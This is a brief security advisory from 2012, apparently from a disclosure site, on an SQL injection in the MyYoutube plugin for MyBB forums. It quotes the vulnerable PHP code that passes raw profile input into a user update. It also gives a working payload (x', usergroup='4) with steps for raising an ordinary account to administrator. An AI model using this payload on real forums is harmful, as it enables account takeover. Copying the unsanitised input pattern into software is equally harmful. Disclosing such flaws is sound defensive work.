|
|
| |
| MyYoutube MyBB Plugin 1.0 SQL injection vulnerability |
| |
Credit:
The information has been provided by Zixem.
|
| |
Vulnerable Systems:
* MyYoutube MyBB Plugin 1.0 and prior
MyYoutube plugin suffers from POST SQL UPDATE injection.
The vulnerabillity exist within youtube.php :
<?php
$plugins->add_hook("datahandler_user_update", "youtube_update"); /*Line 8*/
function youtube_update($ytb) /*Line 128*/
{
global $mybb;
if(isset($mybb->input['ytb']))
{
$ytb->user_update_data['ytb'] = $mybb->input['ytb'];
}
}
?>
Instructions:
(1) Go to usercp.php?action=profile
(2) http://i.imgur.com/gPYdq.png
Enter this in the youtube ID field(just like in the picture): x', usergroup='4
(3) Press on the update button.
(4) You're an admin now :3
If you're still not admins, just play with the number...on my pentest forum, the admins usergroup number is 4.
PoC:
before: http://i.imgur.com/aPFsz.png
While exploiting: http://i.imgur.com/gPYdq.png
Result: http://i.imgur.com/4ezpF.png
Disclosure Timeline:
Published: 2012-12-13
|
|
blog comments powered by
|
